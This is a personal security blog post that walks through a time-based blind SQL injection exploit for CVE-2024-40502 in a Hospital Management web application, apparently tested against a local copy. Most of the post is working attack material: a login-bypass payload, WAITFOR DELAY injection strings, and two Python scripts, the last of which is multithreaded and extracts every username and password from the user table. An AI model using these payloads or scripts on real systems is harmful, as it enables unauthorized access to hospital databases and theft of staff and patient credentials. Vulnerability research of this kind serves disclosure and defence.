💻
Battle Programmer Micull
  • 🍞General Information
    • About Me
    • Career and Aspirations
  • 🤖AI
    • RAG Chatbot
    • Machine Learning Aimbot
  • 🔩Hardware
    • GameCube Controller LED Mod
    • Manipulating Controller Inputs
    • GameCube Mod
  • 📔Notes
    • Commonly Used Linux Commands
    • PortSwigger SQL Injection CheatSheet
    • eJPT/eCPPT Notes
  • 💾Hacking
    • CVE-2024-40502
    • Blind SQL Exploit
  • ⚙️Projects
    • Arch Linux Rice
    • Slippi Player Lookup
  • 🔒Security Documents
    • IIS Server Hardening
    • Web Application Penetration Test
    • Response Headers
  • 🐍Python
    • Pandas Vendor2 Export
    • Pandas Vendor1 Export
    • Pandas and AD
    • Python SFTP Script
Powered by GitBook
On this page
  • Hospital Management Login Page
  • Database Structure
  • User Table Structure
  • Proof of Concept
  • Enter Burpsuite
  • Enter Python
  • Enter Final Exploit
  • Output:
  1. Hacking

Blind SQL Exploit

Upping the ante. A blind SQL exploit for CVE-2024-40502.

PreviousCVE-2024-40502NextArch Linux Rice

Last updated 10 months ago

I'm writing this in much more casual manner that I normally do. Its 12am, I'm feeling delusional and sleep deprived, I have work at 7am. Lets get to crackin.

OH look a Hospital Management web application. It would be a shame… if someone… Dumped the user database…. And that’s exactly what we gonna do.

Hospital Management Login Page

  • We know the username and password fields are SQL injectable

  • We can login into any user account we want by entering {username}'--

  • That is boring lets dump the user tables using a white box approach

Database Structure

User Table Structure

Proof of Concept

Now when we successfully login with our SQL injection payload, there is nothing rendered in HTML from the database. Sad. That would have made this entire process too trivial though. Blind SQL injection it is!

Lets craft a blind sql injection query using our knowledge of the database structure to 1 by 1 enumerate each character in the first row of the username 'Uname' field. Starting simple with 1 character, it looks something like this:

'; IF (SELECT SUBSTRING(Uname, 1, 1) FROM UserTab WHERE Id = 1) = 'j' WAITFOR DELAY '00:00:10'; --

Enter Burpsuite

Lets Use Burp to speed up our testing phase:

I dropped our payload in the 'ctl00%24ContentPlaceHolder1%24txt_login_username' parameter. Again we are testing the 1st position character of the Username field which we know to be true for the character 'j'. Take a look at the response time 12,062 milli seconds, that looks about right. Just to be sure lets test with a character that will result in false in order to not trigger our delay.

Wow 5 milli seconds, that’s a substantial difference and that’s good enough for me.

Now lets do our due dillegnece and ensure our code works for the second string position, all we need to do is alter the substring function in our sql query like so:

'; IF (SELECT SUBSTRING(Uname, 2, 1) FROM UserTab WHERE Id = 1) = 'a' WAITFOR DELAY '00:00:10'; --

I'll spare you the details it worked, can you say wahoo.

Now obviously I'm not gonna sit here like some chump and test each character one by one. We're script kiddies lets live up to our names and script this ish.

Enter Python

Starting out simple for a proof of concept lets automate the first char:

import requests
import string
import time
import urllib3
import warnings
# Suppress only the specific InsecureRequestWarning from urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Base URL and headers for the request
url = 'https://localhost:44306/Users/Loginpage.aspx'
headers = {
	   'Host': 'localhost:44306',
	   'Content-Type': 'application/x-www-form-urlencoded',
	   'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36',
	   'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
	   'Referer': 'https://localhost:44306/Users/Loginpage.aspx',
	   'Accept-Encoding': 'gzip, deflate',
	   'Accept-Language': 'en-US,en;q=0.9'
	 }
# The base payload template with a placeholder for the character
payload_template = (
	    "__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwULLTE5MDkwMzg1MjhkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYBBSNjdGwwMCRDb250ZW50UGxhY2VIb2xkZXIxJENoZWNrQm94MftfyUqUBaNeVs9%2BD0GCHC%2BDpjDEq1%2BdD37NAET9vSn0&"
	    "ctl00%24ContentPlaceHolder1%24txt_login_username='; IF (SELECT SUBSTRING(Uname, 1, 1) FROM UserTab WHERE Id = 1) = '{char}' WAITFOR DELAY '00:00:05'; --&"
	    "ctl00%24ContentPlaceHolder1%24txt_login_pass=test&ctl00%24ContentPlaceHolder1%24btn_login_b=Login&__VIEWSTATEGENERATOR=F07E6E9A&"
	    "__EVENTVALIDATION=%2FwEdAAaAgSgigdNCmxIvEYdJg3G%2FNF87LwWBPM7KoN9MDoBshox%2F%2FbRdslveTViDKRDkmzW4Z67AOU%2FkzhzLV6X3P9qDNES5GijeIbosQC2kxpAQ0huJ926NKJs4PPaUc35EfPpujopDPWsk91KKJTjUn7fb4ZxctR8ks%2BWIjgjdKw1mgw%3D%3D"
	    )
	
# Characters to test, including all letters, digits, and common symbols
test_chars = string.ascii_letters + string.digits + string.punctuation
# Iterate through each character and send the request
for char in test_chars:
# Replace the placeholder with the current character
	payload = payload_template.format(char=char)
	    
	# Record the start time
	start_time = time.time()
	    
	# Send the POST request
	response = requests.post(url, headers=headers, data=payload, verify=False)
	    
	# Record the end time
	end_time = time.time()
	    
	# Calculate the response time
	response_time = end_time - start_time
	    
	# Output the character and response time
	print(f"Character: {char} | Response Time: {response_time:.4f} seconds")

Output:

Our POC script is looking promising. We know the first character in the first user name is 'j' and we can see that reflected in the response time.

Enter Final Exploit

Alright code happened here's a revised script we can use to enumerate the entire database, at least the parts I care about. Username and Password. Boy oh boy running this on IIS express through visual studio was a pain in the ass given how slow it is compared to a real server. I tried beefing up this script with multi threading to speed up the process. I would hope it runs faster testing against a real server. I was able to enumerate the 1st row in about 5 minutes ish. Also don't freak I modded the db a bit to speed up this process for my proof of concept. This still works on more complex credentials. Enuf chit chat here's the good stuff.

(Oh yeah, I added some edgy ascii art and a cool name cause why not)

import requests
import string
import time
import urllib3
import warnings
import concurrent.futures
from prettytable import PrettyTable

# Suppress only the specific InsecureRequestWarning from urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Base URL and headers for the request
url = 'https://localhost:44306/Users/Loginpage.aspx'


headers = {
    'Host': 'localhost:44306',
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'Referer': 'https://localhost:44306/Users/Loginpage.aspx',
    'Accept-Encoding': 'gzip, deflate',
    'Accept-Language': 'en-US,en;q=0.9'
}

# The base payload template with placeholders for the character, position, and ID
payload_template = (
    "__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwULLTE5MDkwMzg1MjhkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYBBSNjdGwwMCRDb250ZW50UGxhY2VIb2xkZXIxJENoZWNrQm94MftfyUqUBaNeVs9%2BD0GCHC%2BDpjDEq1%2BdD37NAET9vSn0&"
    "ctl00%24ContentPlaceHolder1%24txt_login_username='; IF (SELECT SUBSTRING({column}, {pos}, 1) FROM UserTab WHERE Id = {id}) = '{char}' WAITFOR DELAY '00:00:10'; --&"
    "ctl00%24ContentPlaceHolder1%24txt_login_pass=test&ctl00%24ContentPlaceHolder1%24btn_login_b=Login&__VIEWSTATEGENERATOR=F07E6E9A&"
    "__EVENTVALIDATION=%2FwEdAAaAgSgigdNCmxIvEYdJg3G%2FNF87LwWBPM7KoN9MDoBshox%2F%2FbRdslveTViDKRDkmzW4Z67AOU%2FkzhzLV6X3P9qDNES5GijeIbosQC2kxpAQ0huJ926NKJs4PPaUc35EfPpujopDPWsk91KKJTjUn7fb4ZxctR8ks%2BWIjgjdKw1mgw%3D%3D"
)

# Characters to test, including all letters, digits, and common symbols
test_chars = [ 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o',
          'p','q','r','s','t','u','v','w','x','y','z','A','B','C','D',
          'E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S',
          'T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7',
          '8','9','@','#']

def get_next_char(column, pos, user_id):
    for char in test_chars:
        # Replace the placeholders with the current character, position, and ID
        payload = payload_template.format(column=column, char=char, pos=pos, id=user_id)

        # Record the start time
        start_time = time.time()

        # Send the POST request
        response = requests.post(url, headers=headers, data=payload, verify=False)

        # Record the end time
        end_time = time.time()

        # Calculate the response time
        response_time = end_time - start_time

        # Check if the response time is greater than 6 seconds
        if response_time > 6:
            return char
    return None

def extract_value(column, user_id):
    value = ""
    position = 1
    while True:
        with concurrent.futures.ThreadPoolExecutor(max_workers=20) as executor:
            future = executor.submit(get_next_char, column, position, user_id)
            result = future.result()
            if result:
                value += result
                print(f"Found valid character: {result} | Current {column}: {value} (ID: {user_id})")
                position += 1
            else:
                print(f"{column} found: {value} for ID: {user_id}")
                break
    return value

ascii_art = """
  ██████   █████   ██▓        ██▀███  ▓█████ ▄▄▄       ██▓███  ▓█████  ██▀███  
▒██    ▒ ▒██▓  ██▒▓██▒       ▓██ ▒ ██▒▓█   ▀▒████▄    ▓██░  ██▒▓█   ▀ ▓██ ▒ ██▒
░ ▓██▄   ▒██▒  ██░▒██░       ▓██ ░▄█ ▒▒███  ▒██  ▀█▄  ▓██░ ██▓▒▒███   ▓██ ░▄█ ▒
  ▒   ██▒░██  █▀ ░▒██░       ▒██▀▀█▄  ▒▓█  ▄░██▄▄▄▄██ ▒██▄█▓▒ ▒▒▓█  ▄ ▒██▀▀█▄  
▒██████▒▒░▒███▒█▄ ░██████▒   ░██▓ ▒██▒░▒████▒▓█   ▓██▒▒██▒ ░  ░░▒████▒░██▓ ▒██▒
▒ ▒▓▒ ▒ ░░░ ▒▒░ ▒ ░ ▒░▓  ░   ░ ▒▓ ░▒▓░░░ ▒░ ░▒▒   ▓▒█░▒▓▒░ ░  ░░░ ▒░ ░░ ▒▓ ░▒▓░
░ ░▒  ░ ░ ░ ▒░  ░ ░ ░ ▒  ░     ░▒ ░ ▒░ ░ ░  ░ ▒   ▒▒ ░░▒ ░      ░ ░  ░  ░▒ ░ ▒░
░  ░  ░     ░   ░   ░ ░        ░░   ░    ░    ░   ▒   ░░          ░     ░░   ░ 
      ░      ░        ░  ░      ░        ░  ░     ░  ░            ░  ░   ░     

by: 0xMykull
"""

print(ascii_art)

# List to store results
results = []

# Loop through IDs until no more usernames are found
user_id = 1
while True:
    # Extract username
    username = extract_value('Uname', user_id)

    # If no username is found, stop the loop
    if not username:
        break

    # Extract password
    password = extract_value('Pass', user_id)

    # Store the result in the list
    results.append({"ID": user_id, "Username": username, "Password": password})

    # Move to the next ID
    user_id += 1

# Display results in an ASCII table
table = PrettyTable()
table.field_names = ["ID", "Username", "Password"]
for result in results:
    table.add_row([result["ID"], result["Username"], result["Password"]])

print(table)

Output:

(That ascii art lookin pretty cool now huh?)

💾